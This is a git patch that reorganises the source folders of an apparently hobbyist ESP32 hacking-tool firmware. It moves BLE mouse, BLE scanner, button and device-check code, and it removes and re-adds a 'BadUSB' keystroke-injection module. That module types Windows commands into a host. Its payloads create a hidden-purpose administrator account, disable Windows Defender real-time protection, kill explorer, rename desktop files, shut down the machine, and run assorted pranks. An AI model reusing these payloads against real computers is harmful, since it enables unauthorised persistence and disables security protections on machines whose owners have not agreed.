From 75eea47140e22f86fb23631e4fb436d8a09c8695 Mon Sep 17 00:00:00 2001 From: krolyxon Date: Mon, 11 May 2026 15:00:40 +0530 Subject: move bluetooth, nfc, and utils into subfolders --- src/badusb.cpp | 398 ------------------------------------------- src/badusb.h | 5 - src/ble_mouse.cpp | 74 -------- src/ble_mouse.h | 3 - src/blescanner.cpp | 209 ----------------------- src/blescanner.h | 5 - src/bluetooth/ble_mouse.cpp | 74 ++++++++ src/bluetooth/ble_mouse.h | 3 + src/bluetooth/blescanner.cpp | 209 +++++++++++++++++++++++ src/bluetooth/blescanner.h | 5 + src/buttons.cpp | 20 --- src/buttons.h | 10 -- src/device_check.cpp | 207 ---------------------- src/device_check.h | 3 - src/hid/badusb.cpp | 398 +++++++++++++++++++++++++++++++++++++++++++ src/hid/badusb.h | 5 + src/main.cpp | 2 +- src/nfc.cpp | 117 ------------- src/nfc.h | 4 - src/nfc/nfc.cpp | 117 +++++++++++++ src/nfc/nfc.h | 4 + src/rf/nrf24.cpp | 2 +- src/sysinfo.cpp | 87 ---------- src/sysinfo.h | 3 - src/ui/menu.cpp | 14 +- src/utils/buttons.cpp | 20 +++ src/utils/buttons.h | 10 ++ src/utils/device_check.cpp | 207 ++++++++++++++++++++++ src/utils/device_check.h | 3 + src/utils/sysinfo.cpp | 87 ++++++++++ src/utils/sysinfo.h | 3 + src/wifi/wifi_analyzer.cpp | 2 +- src/wifi/wifi_scan.cpp | 2 +- 33 files changed, 1156 insertions(+), 1156 deletions(-) delete mode 100644 src/badusb.cpp delete mode 100644 src/badusb.h delete mode 100644 src/ble_mouse.cpp delete mode 100644 src/ble_mouse.h delete mode 100644 src/blescanner.cpp delete mode 100644 src/blescanner.h create mode 100644 src/bluetooth/ble_mouse.cpp create mode 100644 src/bluetooth/ble_mouse.h create mode 100644 src/bluetooth/blescanner.cpp create mode 100644 src/bluetooth/blescanner.h delete mode 100644 src/buttons.cpp delete mode 100644 src/buttons.h delete mode 100644 src/device_check.cpp delete mode 100644 src/device_check.h create mode 100644 src/hid/badusb.cpp create mode 100644 src/hid/badusb.h delete mode 100644 src/nfc.cpp delete mode 100644 src/nfc.h create mode 100644 src/nfc/nfc.cpp create mode 100644 src/nfc/nfc.h delete mode 100644 src/sysinfo.cpp delete mode 100644 src/sysinfo.h create mode 100644 src/utils/buttons.cpp create mode 100644 src/utils/buttons.h create mode 100644 src/utils/device_check.cpp create mode 100644 src/utils/device_check.h create mode 100644 src/utils/sysinfo.cpp create mode 100644 src/utils/sysinfo.h (limited to 'src') diff --git a/src/badusb.cpp b/src/badusb.cpp deleted file mode 100644 index 37d5ea7..0000000 --- a/src/badusb.cpp +++ /dev/null @@ -1,398 +0,0 @@ -#include -#include -#include "ui/display.h" - -extern USBHIDKeyboard Keyboard; - -void runCommand(const char *command) { - Keyboard.press(KEY_LEFT_GUI); - Keyboard.press('r'); - delay(100); - Keyboard.releaseAll(); - delay(300); - Keyboard.print(command); - Keyboard.write(KEY_RETURN); -} - -void showRunningScreen(String taskName, uint8_t duration = 5) { - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_6x12_tf); - u8g2.drawStr(0, 15, "Running:"); - u8g2.drawStr(0, 30, taskName.c_str()); - u8g2.drawFrame(0, 45, 128, 10); - - static const unsigned char image_download_bits[] U8X8_PROGMEM = { - 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00, - 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, - 0x00, 0x60, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x60, 0x00, 0x0f, 0x00, 0x00, - 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x02, - 0x00, 0x06, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x06, 0x00, 0x00, 0x00, 0x3e, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, - 0x00, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0e, - 0x00, 0x80, 0x01, 0x00, 0x00, 0x02, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, - 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, - 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00}; - static const unsigned char image_EviSmile1_bits[] U8X8_PROGMEM = { - 0x0c, 0xc0, 0x00, 0x06, 0x80, 0x01, 0x07, 0x80, 0x03, 0xcf, 0xcf, - 0x03, 0xff, 0xff, 0x03, 0xff, 0xff, 0x03, 0xfe, 0xff, 0x01, 0xfe, - 0xff, 0x01, 0xfe, 0xff, 0x01, 0xf7, 0xbf, 0x03, 0xe7, 0x9f, 0x03, - 0xc7, 0x8f, 0x03, 0x87, 0x87, 0x03, 0x8f, 0xc7, 0x03, 0xff, 0xff, - 0x03, 0xfe, 0xff, 0x01, 0xde, 0xef, 0x01, 0xbc, 0xf4, 0x00, 0x78, - 0x78, 0x00, 0xf0, 0x3f, 0x00, 0xc0, 0x0f, 0x00}; - - u8g2.setFontMode(1); - u8g2.setBitmapMode(1); - // download - u8g2.drawXBMP(80, 2, 48, 22, image_download_bits); - - // EviSmile1 - u8g2.drawXBMP(62, 1, 18, 21, image_EviSmile1_bits); - - for (uint8_t i = 0; i <= duration; i++) { - u8g2.drawBox(1, 46, i * (126.0 / duration), 8); - u8g2.sendBuffer(); - delay(50); - } -} - - -void badUSBMenu(int index) { - //switch (index) - // { - // case 0: - // runBadUSBDemo(); - // break; - - // case 1: - // Serial.println("Open CMD payload"); - // runBadUSBOpenCMD(); - // break; - - // case 2: - // Serial.println("Rickroll payload"); - // runBadUSBRickroll(); - // break; - // } - - - switch(index) { - case 0: // demo - - showRunningScreen("DEMO"); - - // Run dialog (Win + R) - Keyboard.press(KEY_LEFT_GUI); - Keyboard.press('r'); - Keyboard.releaseAll(); - delay(1000); - - Keyboard.println("notepad"); - delay(1500); - - delay(2000); - - Keyboard.println("YOU HAVE BEEN HACKED BY ORION-RF"); - Keyboard.println("#-FEATURES:"); - Keyboard.println("1- WIFI ATTACKS"); - Keyboard.println("2- BLE ATTACKS"); - Keyboard.println("3- BAD USB"); - Keyboard.println("4- NFC"); - Keyboard.println("5- INFRARED"); - Keyboard.println("6- SUB-GHZ"); - Keyboard.println("7- GPIO"); - Keyboard.println("8- APPS"); - Keyboard.println("9- SETTINGS"); - Keyboard.println("10- FILES"); - - break; - case 1: // keyboard - //runLoop(hidkeyboard); - break; - case 2: // saved scripts - //hidInit(); - //runLoop(hidscriptmenu); - - break; - - case 3: // Open Notepad - - showRunningScreen("notepad"); - runCommand("notepad"); - break; - case 4: // Open CMD - showRunningScreen("opening cmd"); - runCommand("cmd"); - break; - case 5: // Show IP - showRunningScreen("Getting IP"); - runCommand("cmd"); - delay(500); - Keyboard.print("ipconfig"); - Keyboard.write(KEY_RETURN); - break; - case 6: // Shutdown - showRunningScreen("shutdown"); - runCommand("shutdown /s /t 0"); - break; - case 7: // RickRoll - showRunningScreen("rickroll"); - runCommand("cmd"); - delay(500); - Keyboard.print("start https://www.youtube.com/watch?v=dQw4w9WgXcQ"); - Keyboard.write(KEY_RETURN); - break; - case 8: // Create Admin User - showRunningScreen("create admin user"); - runCommand("cmd"); - delay(500); - Keyboard.print("net user hacker 1234 /add"); - Keyboard.write(KEY_RETURN); - delay(300); - Keyboard.print("net localgroup administrators hacker /add"); - Keyboard.write(KEY_RETURN); - break; - case 9: // Disable Windows Defender - showRunningScreen("disable windoes defender"); - runCommand("powershell"); - delay(500); - Keyboard.print("Set-MpPreference -DisableRealtimeMonitoring $true"); - Keyboard.write(KEY_RETURN); - break; - case 10: // Open YouTube - showRunningScreen("youtube"); - runCommand("cmd"); - delay(500); - Keyboard.print("start https://www.youtube.com"); - Keyboard.write(KEY_RETURN); - break; - case 11: // Lock PC - showRunningScreen("lock pc"); - runCommand("rundll32.exe user32.dll,LockWorkStation"); - break; - case 12: // Fake Update - showRunningScreen("fake update"); - runCommand("cmd"); - delay(500); - Keyboard.print("start https://fakeupdate.net/win10u/"); - Keyboard.write(KEY_RETURN); - break; - - case 13: // Endless Notepad - showRunningScreen("endless notepad"); - for (int i = 0; i < 10; i++) { - runCommand("notepad"); - delay(500); - } - break; - - case 14: // Fake BSOD (opens fullscreen image) - showRunningScreen(" fake bsod"); - runCommand("cmd"); - delay(500); - Keyboard.print("start https://fakeupdate.net/bsod/"); - Keyboard.write(KEY_RETURN); - break; - - case 15: // Flip screen - showRunningScreen("Flip screen"); - Keyboard.press(KEY_LEFT_CTRL); - Keyboard.press(KEY_LEFT_ALT); - Keyboard.press(KEY_DOWN_ARROW); - delay(100); - Keyboard.releaseAll(); - break; - - case 16: // Matrix effect - showRunningScreen("Matrix effect"); - runCommand("cmd"); - delay(500); - Keyboard.print("color 0A"); - Keyboard.write(KEY_RETURN); - Keyboard.print(":a"); - Keyboard.write(KEY_RETURN); - Keyboard.print("echo %random%%random%%random%%random%"); - Keyboard.write(KEY_RETURN); - Keyboard.print("goto a"); - Keyboard.write(KEY_RETURN); - break; - - case 17: // I'm watching you prank - showRunningScreen(" iam watching you"); - for (int i = 0; i < 5; i++) { - runCommand("notepad"); - delay(1000); - Keyboard.print("I'm watching you..."); - delay(5000); - } - break; - - case 18: // Open Google - showRunningScreen("open google"); - runCommand("cmd"); - delay(500); - Keyboard.print("start https://www.google.com"); - Keyboard.write(KEY_RETURN); - break; - - case 19: // Open telegram - showRunningScreen("open telegram"); - runCommand("cmd"); - delay(500); - Keyboard.print("start https://web.telegram.org/"); - Keyboard.write(KEY_RETURN); - break; - - case 20: // Alarm Sound - showRunningScreen("alarm sound"); - runCommand("cmd"); - delay(500); - Keyboard.print("start https://www.soundjay.com/button/beep-07.wav"); - Keyboard.write(KEY_RETURN); - break; - - case 21: // Endless CMD - showRunningScreen("endless smd"); - for (int i = 0; i < 20; i++) { - runCommand("cmd"); - delay(300); - } - break; - - case 22: // Gibberish - showRunningScreen("gibberish"); - for (int i = 0; i < 100; i++) { - char c = random(33, 127); - Keyboard.write(c); - delay(50); - } - break; - - case 23: // CAPSLOCK Spam - showRunningScreen("caps lock spam"); - for (int i = 0; i < 10; i++) { - Keyboard.press(KEY_CAPS_LOCK); - delay(200); - Keyboard.release(KEY_CAPS_LOCK); - delay(200); - } - break; - - case 24: // Calculator - showRunningScreen("claculator"); - runCommand("calc"); - break; - - case 25: // Auto Type "Hacked!" - showRunningScreen("hacked"); - for (int i = 0; i < 5; i++) { - Keyboard.print("Hacked!"); - Keyboard.write(KEY_RETURN); - delay(1000); - } - break; - - case 26: // Turn off monitor (Windows only) - showRunningScreen("turn off monitor"); - runCommand("powershell"); - delay(500); - Keyboard.print( - "(Add-Type '[DllImport(\"user32.dll\")]public static extern int " - "SendMessage(int hWnd, int hMsg, int wParam, int lParam);' -Name a " - "-Pas)::SendMessage(-1,0x0112,0xF170,2)"); - Keyboard.write(KEY_RETURN); - break; - - case 27: // RegEdit - showRunningScreen("regedit"); - runCommand("regedit"); - break; - - case 28: // Kill Explorer - showRunningScreen(" kill explorer"); - runCommand("taskkill /f /im explorer.exe"); - break; - - case 29: // Flash screen (by changing background rapidly) - showRunningScreen(" flash screen"); - for (int i = 0; i < 10; i++) { - runCommand("color 4F"); - delay(200); - runCommand("color 1F"); - delay(200); - } - break; - - case 30: // Rename Desktop Files (basic prank) - - showRunningScreen("rename desktop files"); - runCommand("powershell"); - delay(500); - Keyboard.print("Get-ChildItem \"$env:USERPROFILE\\Desktop\" | " - "Rename-Item -NewName {'hacked'+$_.Name}"); - Keyboard.write(KEY_RETURN); - break; - - case 31: // Toggle WiFi (requires admin) - showRunningScreen("toggle wifi"); - runCommand("cmd"); - delay(500); - Keyboard.print("netsh interface set interface Wi-Fi disabled"); - Keyboard.write(KEY_RETURN); - delay(1000); - Keyboard.print("netsh interface set interface Wi-Fi enabled"); - Keyboard.write(KEY_RETURN); - break; - - case 32: // Screenshot - showRunningScreen("screenshot"); - runCommand("powershell"); - delay(500); - Keyboard.print("Add-Type -AssemblyName System.Windows.Forms;"); - Keyboard.write(KEY_RETURN); - delay(300); - Keyboard.print("[System.Windows.Forms.SendKeys]::SendWait('%{PRTSC}')"); - Keyboard.write(KEY_RETURN); - break; - - case 33: // Emoji spam - showRunningScreen("emoji spam"); - for (int i = 0; i < 10; i++) { - Keyboard.print("💀"); - Keyboard.write(KEY_RETURN); - delay(500); - } - break; - - case 34: // Control Panel - showRunningScreen("control panel"); - runCommand("control"); - break; - - case 35: // Troll wallpaper - showRunningScreen("troll wallpaper"); - runCommand("cmd"); - delay(500); - Keyboard.print("start https://i.imgur.com/trollface.png"); - Keyboard.write(KEY_RETURN); - break; - - case 36: // MS Paint - showRunningScreen("ms paint"); - runCommand("mspaint"); - break; - - case 37: // Auto Tab Switcher - showRunningScreen(" auto tab switcher"); - for (int i = 0; i < 10; i++) { - Keyboard.press(KEY_LEFT_CTRL); - Keyboard.press(KEY_TAB); - delay(100); - Keyboard.releaseAll(); - delay(300); - } - break; -} -} - - diff --git a/src/badusb.h b/src/badusb.h deleted file mode 100644 index a3390ec..0000000 --- a/src/badusb.h +++ /dev/null @@ -1,5 +0,0 @@ -#pragma once - -void badUSBMenu(int index); -void showRunningScreen(String taskName, uint8_t duration); -void runCommand(const char *command); diff --git a/src/ble_mouse.cpp b/src/ble_mouse.cpp deleted file mode 100644 index 0035eb5..0000000 --- a/src/ble_mouse.cpp +++ /dev/null @@ -1,74 +0,0 @@ -#include -#include -#include "badusb.h" -#include "config.h" - -#include "buttons.h" -#include "ui/display.h" - -// ===== BLE MOUSE ===== -// BleMouse bleMouse("Orion-RF", "Orion-RF", 100); -extern BleMouse bleMouse; - -// ===== MAIN ===== -void ble_mouse_run() -{ - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_6x10_tr); - u8g2.drawStr(10, 25, "BLE Mouse"); - u8g2.drawStr(10, 45, "Connecting..."); - u8g2.sendBuffer(); - - delay(800); - - while (1) - { - // 🔥 EXIT FIRST (clean) - if (btnBack()) break; - - bool connected = bleMouse.isConnected(); - - int dx = 0; - int dy = 0; - - if (connected) - { - if (!digitalRead(BTN_UP)) dy = -6; - if (!digitalRead(BTN_DOWN)) dy = 6; - if (!digitalRead(BTN_LEFT)) dx = -6; - if (!digitalRead(BTN_RIGHT)) dx = 6; - - if (dx || dy) - bleMouse.move(dx, dy); - - // ✅ single click (not spam) - static bool lastSelect = false; - bool currentSelect = !digitalRead(BTN_SELECT); - - if (currentSelect && !lastSelect) - bleMouse.click(MOUSE_LEFT); - - lastSelect = currentSelect; - } - - // ===== UI ===== - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_6x10_tr); - - u8g2.drawStr(10, 20, "BLE Mouse"); - - if (connected) - u8g2.drawStr(10, 35, "Connected"); - else - u8g2.drawStr(10, 35, "Waiting"); - - u8g2.drawStr(10, 55, "BACK = Exit"); - - u8g2.sendBuffer(); - - delay(10); // important for BLE stability - } -} - - - diff --git a/src/ble_mouse.h b/src/ble_mouse.h deleted file mode 100644 index fc6a4cc..0000000 --- a/src/ble_mouse.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -void ble_mouse_run(); diff --git a/src/blescanner.cpp b/src/blescanner.cpp deleted file mode 100644 index ba12568..0000000 --- a/src/blescanner.cpp +++ /dev/null @@ -1,209 +0,0 @@ -#include -#include -#include -#include -#include - -#include "ui/display.h" -#include "buttons.h" -#include "config.h" - -// ===== DEVICE STRUCT ===== -struct BLEDeviceInfo { - String name; - String address; - int rssi; - String manufacturer; - String deviceType; -}; - -static std::vector devices; -static BLEScan *pBLEScan; -static int selectedIndex = 0; - -// ===== CALLBACK ===== -class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks { - void onResult(BLEAdvertisedDevice advertisedDevice) override { - BLEDeviceInfo dev; - - String tempName = advertisedDevice.getName().c_str(); - - if (tempName.length() == 0 && advertisedDevice.haveServiceData()) { - tempName = advertisedDevice.getServiceData().c_str(); - } - - if (tempName.length() == 0) { - String addr = advertisedDevice.getAddress().toString().c_str(); - tempName = "BLE_" + addr.substring(addr.length() - 5); - } - - dev.name = tempName; - dev.address = advertisedDevice.getAddress().toString().c_str(); - dev.rssi = advertisedDevice.getRSSI(); - - if (advertisedDevice.haveManufacturerData()) { - String mData = advertisedDevice.getManufacturerData().c_str(); - - if (mData.length() >= 2) { - char buffer[10]; - sprintf(buffer, "0x%02X%02X", - (uint8_t)mData[1], - (uint8_t)mData[0]); - dev.manufacturer = String(buffer); - } else { - dev.manufacturer = "unknown"; - } - } else { - dev.manufacturer = "unknown"; - } - - if (advertisedDevice.haveServiceUUID()) { - dev.deviceType = - advertisedDevice.getServiceUUID().toString().c_str(); - } else { - dev.deviceType = "unknown"; - } - - devices.push_back(dev); - } -}; - -// ===== DRAW MENU ===== -void ble_drawMenu() -{ - u8g2.clearBuffer(); - - if (devices.empty()) - { - u8g2.setFont(u8g2_font_6x12_tr); - u8g2.drawStr(0, 30, "No devices"); - u8g2.drawStr(0, 45, "Press BACK"); - } - else - { - u8g2.setFont(u8g2_font_5x8_tr); - - char counter[20]; - sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size()); - u8g2.drawStr(0, 8, counter); - - u8g2.setFont(u8g2_font_6x10_tr); - - for (int i = 0; i < 3; i++) - { - int idx = selectedIndex + i; - if (idx >= devices.size()) break; - - int y = 22 + i * 14; - - if (i == 0) - { - u8g2.drawBox(0, y - 10, 128, 12); - u8g2.setDrawColor(0); - } - - String text = devices[idx].name; - if (text.length() > 12) - text = text.substring(0, 12) + ".."; - - text += " (" + String(devices[idx].rssi) + ")"; - - u8g2.drawStr(2, y, text.c_str()); - - if (i == 0) - u8g2.setDrawColor(1); - } - } - - u8g2.sendBuffer(); -} - -// ===== DEVICE DETAILS ===== -void ble_drawDetails(const BLEDeviceInfo &dev) -{ - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_5x8_tr); - - u8g2.drawStr(0, 10, dev.name.c_str()); - u8g2.drawStr(0, 20, dev.address.c_str()); - - char rssiStr[20]; - sprintf(rssiStr, "RSSI: %d", dev.rssi); - u8g2.drawStr(0, 30, rssiStr); - - u8g2.drawStr(0, 40, dev.manufacturer.c_str()); - - u8g2.sendBuffer(); -} - -// ===== SCAN ===== -void ble_scan() -{ - devices.clear(); - - u8g2.clearBuffer(); - u8g2.drawStr(10, 30, "Scanning..."); - u8g2.sendBuffer(); - - BLEDevice::init(""); - - pBLEScan = BLEDevice::getScan(); - pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(), false); - pBLEScan->setActiveScan(true); - pBLEScan->setInterval(100); - pBLEScan->setWindow(99); - - pBLEScan->start(5, false); - - // remove duplicates - std::vector unique; - for (auto &d : devices) - { - bool exists = false; - for (auto &u : unique) - { - if (u.address == d.address) - { - exists = true; - break; - } - } - if (!exists) unique.push_back(d); - } - - devices = unique; -} - -// ===== MAIN LOOP ===== -void ble_loop() -{ - static uint32_t lastPress = 0; - - if (millis() - lastPress < 200) - return; - - if (btnDown() && selectedIndex < (int)devices.size() - 1) - { - selectedIndex++; - ble_drawMenu(); - lastPress = millis(); - } - else if (btnUp() && selectedIndex > 0) - { - selectedIndex--; - ble_drawMenu(); - lastPress = millis(); - } - else if (btnSelect() && !devices.empty()) - { - ble_drawDetails(devices[selectedIndex]); - delay(3000); - ble_drawMenu(); - lastPress = millis(); - } - else if (btnBack()) - { - lastPress = millis(); - return; - } -} diff --git a/src/blescanner.h b/src/blescanner.h deleted file mode 100644 index a642de2..0000000 --- a/src/blescanner.h +++ /dev/null @@ -1,5 +0,0 @@ -#pragma once - -void ble_scan(); -void ble_loop(); -void ble_drawMenu(); diff --git a/src/bluetooth/ble_mouse.cpp b/src/bluetooth/ble_mouse.cpp new file mode 100644 index 0000000..423ea8c --- /dev/null +++ b/src/bluetooth/ble_mouse.cpp @@ -0,0 +1,74 @@ +#include +#include +#include "../hid/badusb.h" +#include "../config.h" + +#include "../utils/buttons.h" +#include "ui/display.h" + +// ===== BLE MOUSE ===== +// BleMouse bleMouse("Orion-RF", "Orion-RF", 100); +extern BleMouse bleMouse; + +// ===== MAIN ===== +void ble_mouse_run() +{ + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(10, 25, "BLE Mouse"); + u8g2.drawStr(10, 45, "Connecting..."); + u8g2.sendBuffer(); + + delay(800); + + while (1) + { + // 🔥 EXIT FIRST (clean) + if (btnBack()) break; + + bool connected = bleMouse.isConnected(); + + int dx = 0; + int dy = 0; + + if (connected) + { + if (!digitalRead(BTN_UP)) dy = -6; + if (!digitalRead(BTN_DOWN)) dy = 6; + if (!digitalRead(BTN_LEFT)) dx = -6; + if (!digitalRead(BTN_RIGHT)) dx = 6; + + if (dx || dy) + bleMouse.move(dx, dy); + + // ✅ single click (not spam) + static bool lastSelect = false; + bool currentSelect = !digitalRead(BTN_SELECT); + + if (currentSelect && !lastSelect) + bleMouse.click(MOUSE_LEFT); + + lastSelect = currentSelect; + } + + // ===== UI ===== + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + + u8g2.drawStr(10, 20, "BLE Mouse"); + + if (connected) + u8g2.drawStr(10, 35, "Connected"); + else + u8g2.drawStr(10, 35, "Waiting"); + + u8g2.drawStr(10, 55, "BACK = Exit"); + + u8g2.sendBuffer(); + + delay(10); // important for BLE stability + } +} + + + diff --git a/src/bluetooth/ble_mouse.h b/src/bluetooth/ble_mouse.h new file mode 100644 index 0000000..fc6a4cc --- /dev/null +++ b/src/bluetooth/ble_mouse.h @@ -0,0 +1,3 @@ +#pragma once + +void ble_mouse_run(); diff --git a/src/bluetooth/blescanner.cpp b/src/bluetooth/blescanner.cpp new file mode 100644 index 0000000..d637683 --- /dev/null +++ b/src/bluetooth/blescanner.cpp @@ -0,0 +1,209 @@ +#include +#include +#include +#include +#include + +#include "ui/display.h" +#include "../utils/buttons.h" +#include "../config.h" + +// ===== DEVICE STRUCT ===== +struct BLEDeviceInfo { + String name; + String address; + int rssi; + String manufacturer; + String deviceType; +}; + +static std::vector devices; +static BLEScan *pBLEScan; +static int selectedIndex = 0; + +// ===== CALLBACK ===== +class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks { + void onResult(BLEAdvertisedDevice advertisedDevice) override { + BLEDeviceInfo dev; + + String tempName = advertisedDevice.getName().c_str(); + + if (tempName.length() == 0 && advertisedDevice.haveServiceData()) { + tempName = advertisedDevice.getServiceData().c_str(); + } + + if (tempName.length() == 0) { + String addr = advertisedDevice.getAddress().toString().c_str(); + tempName = "BLE_" + addr.substring(addr.length() - 5); + } + + dev.name = tempName; + dev.address = advertisedDevice.getAddress().toString().c_str(); + dev.rssi = advertisedDevice.getRSSI(); + + if (advertisedDevice.haveManufacturerData()) { + String mData = advertisedDevice.getManufacturerData().c_str(); + + if (mData.length() >= 2) { + char buffer[10]; + sprintf(buffer, "0x%02X%02X", + (uint8_t)mData[1], + (uint8_t)mData[0]); + dev.manufacturer = String(buffer); + } else { + dev.manufacturer = "unknown"; + } + } else { + dev.manufacturer = "unknown"; + } + + if (advertisedDevice.haveServiceUUID()) { + dev.deviceType = + advertisedDevice.getServiceUUID().toString().c_str(); + } else { + dev.deviceType = "unknown"; + } + + devices.push_back(dev); + } +}; + +// ===== DRAW MENU ===== +void ble_drawMenu() +{ + u8g2.clearBuffer(); + + if (devices.empty()) + { + u8g2.setFont(u8g2_font_6x12_tr); + u8g2.drawStr(0, 30, "No devices"); + u8g2.drawStr(0, 45, "Press BACK"); + } + else + { + u8g2.setFont(u8g2_font_5x8_tr); + + char counter[20]; + sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size()); + u8g2.drawStr(0, 8, counter); + + u8g2.setFont(u8g2_font_6x10_tr); + + for (int i = 0; i < 3; i++) + { + int idx = selectedIndex + i; + if (idx >= devices.size()) break; + + int y = 22 + i * 14; + + if (i == 0) + { + u8g2.drawBox(0, y - 10, 128, 12); + u8g2.setDrawColor(0); + } + + String text = devices[idx].name; + if (text.length() > 12) + text = text.substring(0, 12) + ".."; + + text += " (" + String(devices[idx].rssi) + ")"; + + u8g2.drawStr(2, y, text.c_str()); + + if (i == 0) + u8g2.setDrawColor(1); + } + } + + u8g2.sendBuffer(); +} + +// ===== DEVICE DETAILS ===== +void ble_drawDetails(const BLEDeviceInfo &dev) +{ + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); + + u8g2.drawStr(0, 10, dev.name.c_str()); + u8g2.drawStr(0, 20, dev.address.c_str()); + + char rssiStr[20]; + sprintf(rssiStr, "RSSI: %d", dev.rssi); + u8g2.drawStr(0, 30, rssiStr); + + u8g2.drawStr(0, 40, dev.manufacturer.c_str()); + + u8g2.sendBuffer(); +} + +// ===== SCAN ===== +void ble_scan() +{ + devices.clear(); + + u8g2.clearBuffer(); + u8g2.drawStr(10, 30, "Scanning..."); + u8g2.sendBuffer(); + + BLEDevice::init(""); + + pBLEScan = BLEDevice::getScan(); + pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(), false); + pBLEScan->setActiveScan(true); + pBLEScan->setInterval(100); + pBLEScan->setWindow(99); + + pBLEScan->start(5, false); + + // remove duplicates + std::vector unique; + for (auto &d : devices) + { + bool exists = false; + for (auto &u : unique) + { + if (u.address == d.address) + { + exists = true; + break; + } + } + if (!exists) unique.push_back(d); + } + + devices = unique; +} + +// ===== MAIN LOOP ===== +void ble_loop() +{ + static uint32_t lastPress = 0; + + if (millis() - lastPress < 200) + return; + + if (btnDown() && selectedIndex < (int)devices.size() - 1) + { + selectedIndex++; + ble_drawMenu(); + lastPress = millis(); + } + else if (btnUp() && selectedIndex > 0) + { + selectedIndex--; + ble_drawMenu(); + lastPress = millis(); + } + else if (btnSelect() && !devices.empty()) + { + ble_drawDetails(devices[selectedIndex]); + delay(3000); + ble_drawMenu(); + lastPress = millis(); + } + else if (btnBack()) + { + lastPress = millis(); + return; + } +} diff --git a/src/bluetooth/blescanner.h b/src/bluetooth/blescanner.h new file mode 100644 index 0000000..a642de2 --- /dev/null +++ b/src/bluetooth/blescanner.h @@ -0,0 +1,5 @@ +#pragma once + +void ble_scan(); +void ble_loop(); +void ble_drawMenu(); diff --git a/src/buttons.cpp b/src/buttons.cpp deleted file mode 100644 index 27ce40b..0000000 --- a/src/buttons.cpp +++ /dev/null @@ -1,20 +0,0 @@ -#include "buttons.h" -#include -#include "config.h" - -void buttonsInit() -{ - pinMode(BTN_UP, INPUT_PULLUP); - pinMode(BTN_DOWN, INPUT_PULLUP); - pinMode(BTN_SELECT, INPUT_PULLUP); - pinMode(BTN_BACK, INPUT_PULLUP); - pinMode(BTN_RIGHT, INPUT_PULLUP); - pinMode(BTN_LEFT, INPUT_PULLUP); -} - -bool btnUp() { return !digitalRead(BTN_UP); } -bool btnDown() { return !digitalRead(BTN_DOWN); } -bool btnSelect() { return !digitalRead(BTN_SELECT); } -bool btnBack() { return !digitalRead(BTN_BACK); } -bool btnRight() { return !digitalRead(BTN_RIGHT); } -bool btnLeft() { return !digitalRead(BTN_LEFT); } diff --git a/src/buttons.h b/src/buttons.h deleted file mode 100644 index cfa9fa3..0000000 --- a/src/buttons.h +++ /dev/null @@ -1,10 +0,0 @@ -#pragma once - -void buttonsInit(); - -bool btnUp(); -bool btnDown(); -bool btnSelect(); -bool btnBack(); -bool btnRight(); -bool btnLeft(); diff --git a/src/device_check.cpp b/src/device_check.cpp deleted file mode 100644 index adebe48..0000000 --- a/src/device_check.cpp +++ /dev/null @@ -1,207 +0,0 @@ -#include -#include -#include -#include -#include "libs/ELECHOUSE_CC1101_SRC_DRV.h" - -#include "ui/display.h" -#include "buttons.h" -#include "config.h" - -// ===== EXTERNALS ===== -extern RF24 radio1; -extern RF24 radio2; -extern SPIClass *RADIO_SPI; -extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; - -// ===== RESULTS ===== -struct DeviceStatus { - bool nrf1 = false; - bool nrf2 = false; - bool cc1101_1 = false; - bool cc1101_2 = false; - bool oled = true; - bool buttons = false; -}; - -// ===== NRF CHECK ===== -//bool checkNRF(RF24 &radio) -//{ -// // safer: only init if needed -// if (!radio.isChipConnected()) { -// if (!radio.begin(RADIO_SPI)) -// return false; -// } -// -// return radio.isChipConnected(); -//} - -bool checkNRF(RF24 &radio) -{ - radio.powerDown(); - delay(5); - - if (!radio.begin(RADIO_SPI)) - return false; - - delay(5); - - return radio.isChipConnected(); -} - -// ===== CC1101 CHECK ===== -bool checkCC1101(uint8_t csPin) -{ - ELECHOUSE_cc1101.setSpiPin( - cc1101_SCK, - cc1101_MISO, - cc1101_MOSI, - csPin - ); - - delay(5); - - return ELECHOUSE_cc1101.getCC1101(); -} - -// ===== BUTTON CHECK ===== -bool checkButtons() -{ - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_6x10_tr); - u8g2.drawStr(0, 20, "Press any button..."); - u8g2.sendBuffer(); - - unsigned long start = millis(); - - while (millis() - start < 2000) - { - if (!digitalRead(BTN_UP) || - !digitalRead(BTN_DOWN) || - !digitalRead(BTN_SELECT) || - !digitalRead(BTN_BACK) || - !digitalRead(BTN_RIGHT) || - 